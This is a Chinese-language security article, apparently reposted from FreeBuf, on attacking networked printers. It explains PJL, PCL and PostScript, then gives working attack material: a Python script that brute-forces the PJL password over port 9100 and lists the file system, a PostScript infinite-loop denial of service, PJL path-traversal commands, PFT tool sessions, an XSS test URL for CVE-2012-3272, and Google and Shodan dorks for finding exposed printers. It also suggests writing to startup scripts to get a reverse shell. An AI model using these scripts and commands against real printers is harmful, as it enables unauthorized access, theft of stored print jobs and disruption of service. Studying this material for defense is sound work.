不可忽视的打印机漏洞研究

作者:???深圳市网安计算机安全检测技术有限公司 2019/06/19 10:35:05 164次阅读 国际
文章来源:https://www.freebuf.com/articles/web/205636.html

0×01 前言

? ??????经过最近一段时间测试,发现企业内网打印机存在多种漏洞,同时也经常被大家所忽略,因此才有本文的研究。当一台打印机连接网络,可以进行端口扫描、读写上传恶意文件、反弹shell,相当于一台服务器。

????????常见攻击,信息泄露,如访问内存,可能发现密码或打印文件中的敏感数据,访问文件系统,泄露配置文件或存储的打印作业;DOS;远程代码执行漏洞RCE,通过缓冲区溢出漏洞,构造恶意数据包,使打印机执行恶意代码,将固件更新为含有恶意的固件;打印任务控制,修改打印内容等。

0×02 打印机语言

????????在研究打印机前有必要熟悉打印语言,网上各种介绍打印机语言,大家看的会比较混乱,比如有时候是打印机描述语言,有时候又叫打印机控制语言。下面以本人的理解去介绍打印机语言,其实打印机语言按分类是有两类,一种是页面描述语言(PDL),另一种是嵌入式语言(Escape码语言),而HP的PCL控制语言和PostScript(以下简称 PS)都属于PDL页面描述语言。

PSPCL介绍

????????PS、PCL等打印语言其实是一个命令集,它告诉打印机如何组织被打印的文档。打印机驱动程序把这些命令嵌在打印数据中传给打印机,而不是单独传送,并由打印机的打印控制器再分开解释。

????????PCL网上介绍的都差不多,PCL对计算机系统资源占用也较少,同时对字库、图像的解释能力较强等,关键还是把本文前面部分弄懂,否则会很混乱,不利于对打印机的漏洞研究。

对比

????????PCL在处理文本、文档方面比较出色(已支持图形功能),速度明显,但是打印质量与PS差距不大,PS在处理打印大的文件,如PDF、Photoshop等软件下打印大的图形图像文件有速度优势,准确度、色彩方面比PCL强。所以 PCL语言适用于普通的商务办公应用,PS适用于对图形和色彩准确度要求比较高的专业应用。

工作流程

????????在计算机上将打印内容位图格式解释成标准的页面描述文件,为PostScript、PCL等格式,这种文件被传到打印机的控制器中,控制器将页面描述文件,发送给光栅图像处理器 (Raster Image Processor),把PostScript、PCL格式解释成位图格式,打印机才可以打印位图格式的图像。

PJL

????????打印任务语言(PJL)用于指导打印机行为,利用PJL语言可以对打印任务执行管理性的更改设置,对打印文件形成有限管理控制,例如,在打印机文件系统下用户不经常留意的以下特定位置中,它可对打印文件执行存储删除操作。

????????其它打印机语言是PCL的扩展,如打印机作业语言PJL是 PCL的扩展,用于控制打印机的行为,上面提到PCL只处理内容,扩展的PJL则可以永久性的修改设备的设置,如印纸张大小和数量。而 PJL可以被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新。供应商往往只支持PJL 控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。

PPD

????????PS、PCL都是一种与设备无关的打印机语言,它们只处理打印的内容,而与设备相关的分辨率、纸张大小它们不处理。PS 、PCL可以将打印内容解释成页面描述文件,这个文件会被控制器解析并打印。但是对譬如分辨率、纸张大小、进纸盒进行选择时,调用的是打印机描述(PostScript Printer Description ,即PPD)文件来实行各种打印机的不同特性,PS、PCL 语言在打印的时候,即定义图像时根本不用去考虑打印机的分辨率、纸张大小,由打印机的PPD文件来决定,给处理字体带来了极大的灵活性。

????????PPD文件主要提供以下与打印机有关的特定信息::默认/ 最高分辨率,是否支持半色调监控,用户设定的监控信息,页面大小定义,页面可打印区域,默认字体(通常为Courier),是否支持双面打印等等。每一种不同的 PostScript打印机都分别对应有专门的PPD文件。

????????关于PostScript仿真,因为目前使用PostScrit语言需要向 Adobe公司支付一笔费用,成本较高,因此才有与PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印机中使用的PostScript仿真,也无需再支付Adobe公司相应的费用。

利用

????????PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。

????????打印机指令语言PCL很难被攻击利用,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的,不过PCL的扩展PJL容易受到攻击,下文基本上是基于PJL。

0×03 探测打印机

1.namp-A 192.168.1.*

主要查看开放哪些端口,并检测操作系统指纹,一般开放如下端口、服务为打印机:image.png

2.Savins打印机发现

SmartDeviceMonitor工具,可以搜索Savins打印机,去官网下载:image.png

3.JetDirect打印机

????????JetAdminJetAdmin可用来控制、搜索JetDirect打印机,可快速找出子网中的JetDirect打印机,它通过SNMP广播网络来定位打印机。

4.ARP协议扫描

????????NMAP、Cain,通过MAC地址发现 Hewlett Packard、Ricoh或其它厂商的MAC地址。

nmap -R192.168.1.0/24

image.png

5.谷歌搜索

????????打印机的WEB登陆链接放置在内网站点上,易于他们管理或存储文档,但有时内网并不是真正处于内网中,但可以通过互联网访问到。

Ricoh Savins(由于打印机频繁地存储文档,导致被下载,这确实是一个真正的安全杀手):

intitle:"web image monitor"
"/web/user/en/websys/webArch/mainFrame.cgi"
inurl:"/en/sts_index.cgi"
HP Jetdirects (各型号均不相同)
inurl:hp/device/this.LCDispatcher
CUPS Connected Printers
inurl:":631/printers" -php -demo

6.其它搜索

shodan搜索,device:printer。

钟馗之眼搜索,service:”jetdirect”。

0×04 漏洞挖掘

PJL密码爆破

????????若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),通过爆破可以将 PJL 的密码安全保护禁用,最终执行任意PJL命令。如果直接通过9100端口执行PJL命令,说明存在未授权访问。

????????PJL是打印控制语言PCL的扩展。文章前面部分已经介绍过,这里是针对认证PJL的爆破,否则无法使用PJL命令。危害:通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。

9100端口一般为JetDirect的端口,JetDirect虽然是惠普设计的,但是众多打印机都使用该软件,包括Canon、Lexmark、Samsung和Xerox。该软件负责处理通过网络提交的打印请求。网络打印机通过JetDirect协议,侦听,接收打印请求数据。

如下是PJL密码存储格式:

@PJL JOB PASSWORD=0

@PJL DEFAULT PASSWORD=12345

@PJL DEFAULT DISKLOCK=ON

@PJL DEFAULT CPLOCK=ON

可通过 内存和文件系统读取获取密码,或暴力破解。

爆破代码python3如下:

import socket
import sys

def main():
    if len(sys.argv)<=1:
        print('Parameters error')
        return
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((sys.argv[1],9100))
    s.settimeout(None)
    # 发送读取设备ID的PJL指令
    s.send(('33%-12345X@PJL INFO ID\r\n33%-12345X\r\n').encode('UTF-8'))
    print(s.recv(1024).decode('UTF-8'))

    for i in range(1, 65536):
        buf = b''
        # 发送重置密码的PJL指令
        s.send(('33%-12345X@PJL \r\n@PJL JOB PASSWORD=' + str(i) + '\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n').encode('UTF-8'))
        if i%30 == 0:
            # 发送查询密码保护状态的PJL指令
            s.send(('33%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))
            while True:
                buf += s.recv(1)
                print(buf)
                try:
                    buf.index(b'\r\n\x0c')
                    try:
                        # 密码保护被禁用
                        buf.index(b'DISABLED')
                        print('password disabled ok!')
                        # 发送查询目录的PJL指令
                        s.send(('33%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))
                        buf = b''
                        while True:
                            buf += s.recv(1)
                            print(buf)
                            try:
                                buf.index(b'\r\n\x0c')
                                try:
                                    # 查询成功
                                    buf.index(b'ENTRY')
                                    print('PoC OK!')
                                    return
                                except ValueError:
                                    print('PoC NO!')
                                    return
                            except ValueError:
                                continue
                    except ValueError:
                        print('password disabled faild!')
                    finally:
                        s.close()
                        return
                except ValueError:
                    continue
    s.close()

if __name__ == '__main__':
    main()

pft使用此脚本爆破:image.png

返回password disabled ok!,说明成功禁用PJL密码保护。

????????此脚本先爆破PFT密码保护,如果爆破成功,然后执行查询磁盘的PJL命令,当然也可只用PFT工具,文章后面部分会讲PFT。image.png

DOS

????????当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。通过几行PostScript代码实现DOS。

PS代码实现的循环:

 %! 
 {} loop

路径遍历漏洞-案例分析

????????这不是针对某个型号的漏洞,算是打印机的一个通用漏洞,可以通过../等进行目录穿越,对文件进行读取和写入,不过并不是所有的目录文件都可读写,当发现无法读写时,可继续切换其它目录测试,可能存在可读写的文件,从而泄露敏感文件,如“Jobs”目录中存储的就是打印任务,可以通过PFT 、PRET工具包读取存储在其中的任何打印任务。

????????如果允许 PJL 命令访问该设备的文件系统,远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作。这里借用个人之前的案例演示,通过9100端口执行PJL命令,并且未授权访问打印机。在学习之前,需要熟悉PJL命令。如下是本人对PJL命令的整理:

@PJL FSDELETE NAME = “pathname” []                           # 删除文件  

@PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] []                  # 下载文件到打印机

@PJL FSINIT VOLUME = “pathname” []                           # 初始化打印机文件系统

@PJL FSMKDIR NAME = “pathname” []                            # 创建目录

@PJL DINQUIRE CPLOCK                                                 # 检查控制面板状态

@PJL DINQUIRE PASSWORD                                               # 检查密码保护状态

@PJL JOB PASSWORD = [Number:0 to 65535]                              # 当前密码保护密码

@PJL DEFAULT PASSWORD [Number:0 to 65535]                            # 修改保护密码

@PJL DEFAULT CPLOCK = [ON, OFF]                                      # 控制面板状态

@PJL SET IOBUFFER = [ON, OFF, AUTO]                                  # 设置缓冲区

@PJL SET IOSIZE = [10-100]                                           # 设置缓存区大小

@PJL SET PCNAME = [String]                                           # 设置计算机名称

@PJL SET HOLD = [ON, JOB, STORE, PROOF]                              # 设置文件保存

@PJL SET HOLDKEY = [Number:0000 to 9999]                             # 设置保存文件密码

@PJL DEFAULT DISKLOCK = [ON, OFF]                                    # 设置硬盘锁定状态

@PJL SET SPOOLTIME                                                   # 设置打印日期

@PJL SET COPIES                                                      # 设置打印数

@PJL SET JOBNAME                                                     # 设置打印机文件名称

@PJL SET RESOLUTION                                                  # 设置分辨率

@PJL SET DRIVERNAME                                                  # 设置驱动

@PJL USTATUS JOB                                                     # 输出 队列中还未打印任务的 状态

@PJL COMMENT                                                         # 添加注释

@PJL SET OUTTRAY                                                     #出纸盘(纸张输出位置)

@PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE]                         #页面方向

@PJL SET DUPLEX = [ON, OFF]                                          #双工模式(双面打印)

@PJL SET BINDING = [LONGEDGE, SHORTEDGE]                             #双工模式:短边、长边

@PJL RNVRAM ADDRESS                                                  #读取内存

@PJL OPMSG DISPLAY                                                   #设置打印机离线脱机

@PJL SET SERVICEMODE                                                 #设置服务模式

@PJL WNVRAM ADDRESS                                                  #写入内存

@PJL FSDIRLIST NAME                                                  #读取目录

@PJL FSQUERY NAME                                                    #读取文件

@PJL FSUPLOAD NAME                                                   #文件上传

@PJL FSDOWNLOAD                                                      #写入文件

1.@PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024image.png

上图发现目录名称是 0:/,有两个目录,一个是本地目录./,一个是../目录。

2.读取 ../ 目录,发现其下有7个,./代表本目录

@PJLFSDIRLIST NAME=”0:/../” ENTRY=1 COUNT=1024image.png发现有:

.TYPE=DIR

..TYPE=DIR

DataTYPE=DIR

JobsTYPE=DIR

TempTYPE=DIR

BrowserTYPE=DIR

PDLTYPE=DIR

3.读取Data目录

发现有Data、jobs目录,这里演示访问其下的Data目录,发现Data目录存在这些目录文件。

@PJLFSDIRLIST NAME=”0:/../data” ENTRY=1 COUNT=1024image.png发现Data目录存在这些目录文件:

.TYPE=DIR

..TYPE=DIR

DataContractTYPE=DIR

CustomerDataDBTYPE=DIR

总结:

????????目录遍历除了可读取文件之外,还可写入,但是并不是所有的文件都可写入,寻找可写入的文件,如向启动脚本写入代码,重启即可执行代码反弹shell,这里我当时时间有限,遍历几个目录没有发现启动脚本,不然只要可写入就能反弹shell。

路径遍历案例:

中国移动某省公司打印机未授权访问已成功下载移动内部资料(保密承诺书?)

https://www.secpulse.com/archives/33663.html

PFT工具

????????根据文章前面部分,也大概知道了打印机攻击是基于打印机语言命令,如输入PJL命令造成相关,需要掌握PJL命令,输入PJL命令比较麻烦,这里有一个强大的打印机框架工具PFT, 而使用PFT工具可以无需掌握PJL命令,每一个参数已内置打印机语言,只需要调用对应参数来利用,配合help查看。

使用教程:

1.PFT连接到打印机

pft> server 192.168.15.200
Server set to 192.168.15.200
pft> port 9100
Port set to 9100
pft> connect
Connected to 192.168.15.200:9100
Device: hp LaserJet 4250

2.PFT清除PJL程序保护

清除成功之后,也能登录web控制台页面。

pft> env bruteforce
try 30
INFO: force_recv_clear() timed out for 270bytes (10 sec)
Password disabled successfully

3.查看硬盘文件

一般高级的打印机会有硬盘,如下命令查看有哪些盘符。

pft> volumes
Volume       Size       Free        Location      Label     Status
0:   12619776   11786240             RAM          ? READ-WRITE

4.ls查看文件

pft> ls
0:\
.                             -          d
..                            -          d
PostScript                    -          d
PJL                           -          d
saveDevice                    -          d
webServer                     -          d

5.将文件下载到本地get 文件名

HP JetDirect打印机存储型XSS

????????攻击者必须访问HP镭射打印机配置页面,”Product_URL”和”Tech_URL”参数 存在漏洞,对应CVE号:CVE-2012-3272。

点击WEB的“支持信息” 连接,按如下输入:image.png

点击“Apply”按钮,跳转到支持页面中(support.htm),出现弹框。image.png

测试方法:

http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Produ
ct_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply

打印控制任务

????????PERT连接到打印机,并尝试利用打印机所使用的打印机语言(目前支持PS,PJL和PCL),如python pret.py IP PS可尝试调用打印机PS语言进行操作,一旦使用PRET连接到打印机中的一个功能,我们将可以做很多事情。例如检查文件系统,创建目录,更改配置文件、dump整个NVRAM。

如输出打印“Foo”,执行cross topsecret Foo:image.png

打印如下:image.png

固件漏洞

如果打印机不存在PJL命令执行漏洞,可针对固件漏洞测试,通过nmap发现固件版本,Linux_Exploit_Suggester.pl查询内核版本漏洞。

nmap扫描出如下:image.png

执行perl Linux_Exploit_Suggester.pl -k 2.6.31:image.png

PS:该工具只能查询内核3.4.4之前的漏洞信息。

github下载

https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

0×05 总结

????????从打印机语言到PJL命令执行等漏洞分析,包括打印机挖掘思路以及案例分析,总结了目前常见的打印机漏洞,其它的高级应用也是基于这些原理基础上,这里不讲PRET工具使用,网上有很多PRET使用教程。需要提醒一下,大家不要随便乱用工具来扫打印机,否则会打印出很多请求数据包,浪费大量的纸张。因为这些脚本在端口9100/tcp检测系统版本时,会发送探针请求,判断9100上运行的是何种服务,由于JetDirect并不知道它发送的是什么数据,因此会打印出探测报文,最后会打印出一堆垃圾数据。


指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室